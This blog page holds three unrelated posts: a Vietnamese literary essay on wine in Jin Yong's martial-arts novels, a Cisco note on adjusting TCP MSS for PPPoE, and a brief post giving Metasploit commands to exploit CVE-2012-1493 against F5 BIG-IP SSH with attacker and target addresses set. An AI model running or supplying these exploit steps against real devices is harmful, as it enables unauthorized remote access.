Thursday, September 22, 2016

Rượu trong tiểu thuyết Kim Dung


Núi hùng vĩ điệp trùng, cao phong tiếu bích vươn đến trời xanh, nhưng núi đẹp là nhờ mây. Sông mênh mông bát ngát, uốn khúc lượn lờ hay cuồng nộ thét gầm, nhưng sông linh là nhờ có giao long, thủy quái. Rừng bạt ngàn huyền bí nhưng rừng thâm u quyến rũ là nhờ có dị sĩ cao nhân. Khách hảo hán giang hồ phiêu bồng lang bạt mang bản chất hào sảng khoáng đạt một phần là nhờ rượu.
Văn học Trung quốc qua bao thời đại không thiếu thơ văn ca ngợi rượu. Thậm chí rất nhiều.
Thông thường người ta chia ra làm ba cách uống rượu: tục tửu, thường tửu và tiên tửu. Tục tửu là uống đến chỗ phóng đãng bừa bãi, không làm chủ được mình. Thường tửu là uống xong cho sảng khoái, uống chỉ vì thích uống mà thôi. Tiên tửu là uống rượu như một thứ trợ hứng để bàn về thi ca, nghệ thuật nhằm di dưỡng tinh thần. Đến Kim Dung thì chén rượu lại được điểm xuyến thêm một phần ý vị nữa: đó là chén rượu lãng mạn hào hùng giữa chốn giang hồ.
Đối với cuộc sống rong ruỗi phiêu bạt của khách võ lâm, có thể trong buổi tiễn đưa hoặc buổi trùng lai thiếu tiếng đàn tiếng hát nhưng chắc chắn trong nỗi buồn li biệt hay trong niềm vui hội ngộ đó luôn luôn có rượu. Chung quanh chén rượu và ngay trong chén rượu có biết bao nhiêu tâm sự của muôn vạn mãnh đời. Khắp võ lâm, từ trà đình tửu quán cho đến chốn núi thẳm rừng sâu, hễ nơi đâu có mặt hảo hán giang hồ là y như nơi đó có rượu.
Một điều đáng ghi nhận là trong tác phẩm Kim Dung, hầu như những nhân vật nào đam mê rượu cũng đều có tâm hồn hào sảng, phóng khoáng. Đó là một Tiêu Phong kiêu dũng, một Hồng Thất Công cương trực, một Lệnh Hồ Xung khoáng đạt, một Đan Thanh hào phóng .v.v… Bang chủ Hồng Thất Công do tính ham rượu và nhậu nhẹt nên bị Hoàng Dung dùng mẹo lừa để ông phải truyền tuyệt kĩ “Hàng long thập bát chưởng” cho Quách Tĩnh. Đoàn Dự khi lang bạt giang hồ tìm Vương Ngọc Yến, thấy Tiêu Phong ngồi uống rượu trên Tùng hạc lâu mà sinh cảm mến, cùng nhau uống rượu rồi kết làm huynh đệ. Đó là cách uống rượu hào sảng của khách anh hùng. Đoàn Dự dùng Thiếu trạch kiếm để tiết hết rượu ra khỏi người theo đầu ngón tay út mới có thể đối ẩm với “đại tửu lâm cao thủ “ là Tiêu Phong. Đó là cách uống rượu đầy tiểu xảo mà Đoàn Dự vô tình phát hiện.
Nếu chén rượu đầy mưu trí của Lệnh Hồ Xung trên Trích Tiên tửu lâu khi lừa Điền Bá Quang để cứu Nghi Lâm làm người đọc vừa buồn cười vừa thán phục thì chén rượu thương đau của gã trên đỉnh Hoa Sơn lạnh buốt lại đắm chìm trong nỗi nhớ thương cô tiểu sư muội Nhạc Linh San, làm cho người đọc ngậm ngùi. Một tên dâm tặc vô hạnh như Điền Bá Quang lại biết lẻn vào hầm rượu của Trích Tiên tửu lâu đập vỡ hết gần hai trăm vò rượu quí hiếm trên thế gian, chỉ giữ lại hai vò để mang lên đỉnh Hoa Sơn cùng đối ẩm với Lệnh Hồ Xung, đã làm cho người đọc phát sinh hảo cảm, dù gã đã bị cả hai phe hắc bạch khinh bỉ là hạng “vô ác bất tác đích dâm tặc” (tên dâm tặc không có điều ác nào mà không làm). Thử hỏi trong đời có mấy ai được uống một chén rượu chí tình đáng cảm động thế kia? Một chi tiết nhỏ đó thôi chắc cũng đủ khiến cho tửu đồ khắp thiên hạ cùng nhau nâng chén rượu tha thứ phần nào tội lỗi cho Điền Bá Quang! Đâu phải chỉ trong tiếng đàn, tiếng tiêu cao nhã mới có thể tạo nên mối đồng cảm tri âm như Khúc Dương trưởng lão và Lưu Chính Phong, mà một chén rượu đục trong chốn giang hồ vẫn đủ sức để tạo nên mối tình tri ngộ giữa một người mang tiếng bại hoại và một môn đồ phe chính giáo. Cái chân tâm trong chỗ giao tình vẫn luôn luôn nằm bên kia âm thanh cũng như luôn luôn nằm đằng sau chén rượu! Rượu hay âm nhạc lúc đó chỉ là phương tiện để con người tìm gặp nhau ở một điểm nào đó trong chổ ý hợp tâm đầu. Khi Lệnh Hồ Xung tung chén rượu lên trời thành muôn ngàn giọt để cùng chia xẻ với quần hùng hắc đạo trên đỉnh Ngũ Bá cương, Kim Dung đã cực tả tính hào sảng của một gã tửu đồ giữa niềm thống khoái chân tình với hào kiệt giang hồ. Hình ảnh kiêu hùng của Hướng Vấn Thiên khi bị trói đôi tay mà vẫn trầm tĩnh ngồi uống rượu trong lương đình giữa vòng vây của hai phe hắc bạch, đã khiến Lệnh Hồ Xung trổi dậy hào khí, liều lĩnh chen vào ngồi đối ẩm để cùng xẻ chia hoạn nạn. Người đọc không ngạc nhiên vì sao sau này, khi Giáo chủ Nhật nguyệt thần giáo Nhậm Ngã Hành thống lĩnh giáo chúng vây Hoa Sơn để tiêu diệt Ngũ nhạc kiếm phái, đẩy Lệnh Hồ Xung vào thế đối địch, thì Hướng Vấn Thiên là người đầu tiên bạo dạn cùng uống với Lệnh Hồ Xung một chén rượu cuối cùng ngay tại đương trường trước khi chuẩn bị cho một trận huyết chiến sắp tới, dù biết rõ Nhậm Ngã Hành đang ngấm ngầm phẫn nộ. Rồi lần lượt các tay hào kiệt khác trong Nhật nguyệt thần giáo cũng can đảm bước ra cạn chén với Lệnh Hồ Xung dù trong thâm tâm họ cũng hiểu rằng điều đó sẽ gây thịnh nộ cho Giáo chủ và cái giá phải trả đằng sau chén rượu kia có khi là cái chết. Biết bao nhiêu hào khí hùng tâm chứa chan trong một chén rượu nồng! Lệnh Hồ Xung kết giao hào kiệt giang hồ chủ yếu bằng rượu. Gặp bất kì người nào sành rượu và thích uống rượu là giao tình nẩy nở. Đối với Lệnh Hồ Xung dường như không có chính hay tà mà chỉ có rượu ngon hay dở và nhất là người nâng chén rượu cùng uống có đáng mặt hảo hán để giao kết hay không mà thôi. Lúc đó thì ân oán thị phi đều có thể hoà tan trong chén rượu chân tình.
Khi tình cờ bị vây hãm trên đỉnh Thiếu Thất bởi vô số những cao thủ cự phách, Tiêu Phong trong cảnh lâm vào tuyệt địa vẫn hiên ngang uống rượu. Khi đánh lùi một lúc cả ba đại cao thủ Du Thản Chi, Đinh Xuân Thu, Mộ Dung Phục, khiến Tiêu Phong hào khí ngất trời, ông hô vệ sĩ mang mấy túi rượu uống cạn một lúc gần hai mươi cân, rồi ngõ lời cùng Đoàn Dự: “Huynh đệ, ta và người hôm nay đồng sinh tử, thật không uổng phí một phen kết nghĩa, sống cũng tốt mà chết cũng tốt, chúng ta cùng nhau uống một trận cho thật thống khoái!” Hào khí bức người của Tiêu Phong khiến nhà sư Hư Trúc cảm kích quên hết giới luật thanh qui, cùng nhau cạn chén. Cảnh tượng một tay đại hào kiệt là Tiêu Phong cùng anh chàng đồ gàn Đoàn Dự và nhà sư Hư Trúc làm lễ giao bái và uống rượu ngay trong vòng gươm đao trùng điệp để chuẩn bị mở một trường đại sát thật láng lai hào khí của võ lâm, khiến cho người đọc cảm thấy hùng tâm hứng khởi như đọc Sư kí Tư Mã Thiên đến đoạn Thái tử Đan tiễn Kinh Kha qua sông Dịch. Đó không phải chén rượu liều lĩnh của bọn dũng phu cùng đường, mà là chén rượu của những tay hào tuấn xem cái chết như là “một cõi đi về” khi đã cảm nhận trọn vẹn được tấm chân tình của nghĩa đệ huynh! Sống ở nhân gian mà có được một người tri kỉ thì có chết đi cũng không đến nỗi uổng phí bình sinh!
Đáng tiếc thay, ở phương Đông, cái tạm gọi là Tửu đạo đó lại không được lịch sử phát triển thành một trào lưu như Trà đạo. Có lẽ vì nó giống như con dao hai lưỡi. Kẻ non nớt dùng nó ắt sẽ bị đứt tay. Tiên tửu chưa chắc đã thấy đâu mà tục tửu có thể đã ngập tràn trong thiên hạ! Chén rượu ngày nay đã mang quá nhiều tục sắc. Tửu vị cho dẫu đã được nâng lên thêm mấy bậc nhưng tửu đạo lại bị hạ xuống thấp mấy tầng! Giá như Tổ Thiên Thu và Đan Thanh sống lại ắt hẵn sẽ mời tất cả các tửu đồ thượng thừa trong thiên hạ đời nay tụ tập lại để giảng cho nghe về tửu đạo và cùng nhau lai rai một chén rượu giang hồ!
Tổ Thiên Thu nói rằng: dùng chén uống rượu sơ sài như vậy là chưa hiểu hết cái cao siêu trong tửu đạo. Muốn uống rượu phải nghiên cứu về chén uống rượu, rượu nào thì dùng chén ấy.
Ví như uống rượu Phần tửu phải dùng chén Ngọc Uyển. Đời Đường có câu thơ: Ngọc Uyển thành lai hổ phách quan (chén ngọc long lanh màu hổ phách) thì có thể thấy chén ngọc có thể tăng thêm màu sắc rực rỡ cho rượu.
Rượu trắng Quan Ngoại, vị rượu rất ngon nhưng đáng tiếc là chưa đủ thơm, hay nhất là dùng chén Tê giác để uống ,như vậy vị rượu mới thuần khiết không chê vào đâu được. Nên nhớ rằng Ngọc Uyển làm tăng thêm sắc rượu, chén Tê giác làm tăng thêm hương rượu, cổ nhân đã thử qua không phỉnh gạt bọn ta chút nào!
Ðến như rượu Bồ Ðào thì dĩ nhiên phải dùng đến chén hổ quang. Cổ nhân có câu thơ “Bồ Đào mỹ tửu dạ quang bôi, Dục ẩm tỳ bà mã thượng thôi…”. Chén dạ quang là vật trân quí hiếm trên đời. Rượu Bồ Đào đã có màu hồng mà bọn nam nhi chúng ta uống vào thì không đủ hào khí. Chén dạ quang phát ra ánh sáng mới là tuyệt diệu! Rượu Bồ Đào rót vào chén dạ quang lập tức màu rượu đỏ như huyết.
Uống rượu cũng như uống huyết. Trong bài thơ của Nhạc Vũ Mục có câu: “Tráng chí cơ xan hồ lổ nhục, Tiếu đàn khát ẩm hung nô huyết?” Chí khí của người tráng sĩ lấy thịt rợ của rợ Hồ làm cơm ăn, cười nói đến khi khát nước thi uống máu giặc Hung Nô, Như vậy có phải là hùng tráng không?
Còn thứ rượu ngon này là rượu tối cổ ngẫu nhiên có người đem cho, ngẫu nhiên mà uống. Nó là rượu cao lương. Thứ rượu này phải dùng chén “tước” đúc bằng đồng xanh mới là có ý cổ kính. Thứ gạo làm rượu này cũng là thật tốt, nó vừa ngọt vừa thơm, nên dùng thứ đấu lớn mà uống mới hợp ý rượu.
Uống Bách Thảo Mỹ Tửu phải dùng chén Cổ Đằng. Cây Cổ Đằng sống trăm năm mới đẽo thành chén, uống Bách Thảo Mỹ Tửu trong chén Cổ Đằng thì hương thơm tăng lên bội phần. Có người nói khó tìm được cây Cổ Đằng trăm năm nhưng bách niên mỹ tửu còn khó tìm hơn nữa. Nghĩ xem, cây Cổ Đằng trăm năm còn có thể tìm thấy ở vùng hoang sơn dã lĩnh nhưng bách niên mỹ tửu thì ai ai cũng muốn uống mà uống rồi thì hết. Một chén Cổ Đằng dù được uống một ngàn, vạn lần thì vẫn nguyên xi là chén Cổ Đằng.
Uống rượu Thiệu Hưng Trạng nguyên hồng phải dùng chén Dương Chi Bạch ngọc hay nhất là chén đời Bắc Tống, chén đời Nam tống thì dùng tạm được nhưng đã có khí tượng suy bại, còn chén đời Nguyên thì thì không tránh khỏi sự thô tục.
Còn rượu Lê Hoa tửu này thì phải dùng chén Phỉ Thúy. Có câu thơ của Bạch Lạc Thiên trong bài Xuân vọng rằng: “Thạch kỳ cổ tửu sấn lê hoa” (cờ xanh thêm sắc rượu hồng Lê Hoa) thử nghĩ xem, tửu quán bán Lê Hoa tửu có treo lá cờ xanh hình giọt nước xanh biếc ánh vào Lê hoa tửu cho thêm vẻ huyền bí. Uống Lê Hoa tửu phải dùng chén Phỉ Thúy chính là vậy.
Uống Ngọc Lộ tửu đương nhiên phải dùng chén Lưu Ly. Ngọc Lộ tửu sủi bọt như những hạt châu li ti, dùng chén trong suốt mà uống thì không thể chê vào đâu được… Ngoài ra, còn có chén ngà, chén răng hổ, chén da trâu, chén ống trúc..
Đọc tác phẩm Kim Dung, ta biết được người Trung Quốc có nhiều thứ rượu danh tiếng: Thiệu Hưng Nữ Nhi Hồng, Thiệu Hưng Trạng Nguyên Hồng, Trúc Diệp Thanh, Mai Quế Lộ, Bách thảo tửu, Biên Tái tửu, Hầu Nhi tửu, Bồ Đào tửu, Ngũ Gia Bì, Kim Tước tửu…
Đọc Kim Dung, ta mới biết được phong cách uống rượu của người Trung Quốc: rượu thường được hâm nóng trước khi uống, nhất là vào mùa đông. Thỉnh thoảng, trong vài tình huống đặc biệt, khi công nghiệp làm nước đá chưa ra đời, tác giả đã để cho nhân vật mình làm ra băng để uống rượu. Trong Tiếu ngạo giang hồ, có đoạn Lệnh Hồ Xung cùng Hướng Vấn Thiên tìm về Cô Mai sơn trang ở Giang Nam gặp gỡ Giang Nam tứ hữu. Để mời rượu Lệnh Hồ Xung giữa mùa hè nóng bức, Đan Thanh tiên sinh đã nhờ anh mình là Hắc Bạch Tử dùng Hàn băng chưởng hóa nước thành ra nước đá ướp lạnh rượu Bồ Đào Thổ Lỗ Phồn!
Đọc Kim Dung, ta mới biết được những cách uống rượu khác nhau. Đối ẩm là hai người uống, thường là tình nhân hoặc bạn hữu thân thiết. Độc ẩm là uống một mình, trong lòng đang lo nghĩ hoặc tưởng nhớ. Cộng ẩm hay Quần ẩm là một nhóm người cùng uống với nhau. Loạn ẩm là một đám đông cùng uống. Trong Tiếu ngạo giang hồ, đoạn loạn ẩm hay nhất là đoạn bọn tà ma ngoại đạo thết tiệc Lệnh Hồ Xung để lấy lòng Thánh cô Doanh Doanh. Thương nhau, quý nhau, người ta mới tặng rượu. Quần hào Cái bang Trung Quốc, tuy là đi ăn mày, đáng lẽ chỉ xin cơm, thì người ta còn xin cả rượu nữa.
Chén rượu của Kim Dung đã làm cho những nhân vật của ông nổi tiếng. Hồng Thất Công nổi tiếng chuyên uống rượu với thịt chó. Kiều Phong nhờ rượu mới phát huy được thần oai, càng uống càng mạnh, càng tỉnh táo. Hư Trúc nhờ uống rượu phá giới mà tìm ra được cô vợ sắc nước hương trời: công chúa Văn Nghi của nước Tây Hạ. Thạch Phá Thiên nhờ uống hai thứ rượu độc mà hóa giải được sự xung đột của âm dương nhị khí, đạt đến mức thượng thừa trong võ học… ở chừng mực nào đó, Kim Dung đã nghĩ đến câu cổ thi:
Cổ lai thánh hiền giai tịch mịch
Duy hữu ẩm giả lưu kỳ danh
(Xưa nay thánh hiền đều lặng lẽ
Chỉ người uống rượu mới còn danh)
_Lý Bạch_
Với một chữ Rượu, Kim Dung đã vượt xa hơn bất kỳ nhà văn nào khác. Rượu của ông có bài bản, có tính chất triết lý tề chỉnh. Nó góp phần làm nên cái đẹp cho đời sống con người. Men rượu kết hợp với men tình, men võ khiến ta không “uống” được tác phẩm mà lòng vẫn say.

Tuesday, June 19, 2012

SSH vulnerability CVE-2012-1493

Exploit Usage Information

$ msfconsole

msf > use exploit/linux/ssh/f5_bigip_known_privkey
msf exploit(f5_bigip_known_privkey) > show payloads
msf exploit(f5_bigip_known_privkey) > set PAYLOAD ...
msf exploit(f5_bigip_known_privkey) > set LHOST [MY IP ADDRESS]
msf exploit(f5_bigip_known_privkey) > set RHOST [TARGET IP]
msf exploit(f5_bigip_known_privkey) > exploit

Tuesday, May 29, 2012

PPOE over Cisco

The TCP MSS Adjustment feature enables the configuration of the maximum segment size (MSS) for transient packets that traverse a router, specifically TCP segments in the SYN bit set, when PPP over Ethernet (PPPoE) is being used in the network. PPPoE truncates the Ethernet maximum transmission unit (MTU) 1492, and if the effective MTU on the hosts (PCs) is not changed, the router in between the host and the server can terminate the TCP sessions. The ip tcp adjust-mss command specifies the MSS value on the intermediate router of the SYN packets to avoid truncation.

When a host (usually a PC) initiates a TCP session with a server, it negotiates the IP segment size by using the MSS option field in the TCP SYN packet. The value of the MSS field is determined by the maximum transmission unit (MTU) configuration on the host. The default MSS value for a PC is 1500 bytes.
The PPP over Ethernet (PPPoE) standard supports a MTU of only 1492 bytes. The disparity between the host and PPPoE MTU size can cause the router in between the host and the server to drop 1500-byte packets and terminate TCP sessions over the PPPoE network. Even if the path MTU (which detects the correct MTU across the path) is enabled on the host, sessions may be dropped because system administrators sometimes disable the ICMP error messages that must be relayed from the host in order for path MTU to work. The ip tcp adjust-mss command helps prevent TCP sessions from being dropped by adjusting the MSS value of the TCP SYN packets. The ip tcp adjust-mss command is effective only for TCP connections passing through the router. In most cases, the optimum value for the max-segment-size argument is 1452 bytes. This value plus the 20-byte IP header, the 20-byte TCP header, and the 8-byte PPPoE header add up to a 1500-byte packet that matches the MTU size for the Ethernet link.
If you are configuring the ip mtu command on the same interface as the ip tcp adjust-mss command, it is recommended that you use the following commands and values:
ip tcp adjust-mss 1452
ip mtu 1492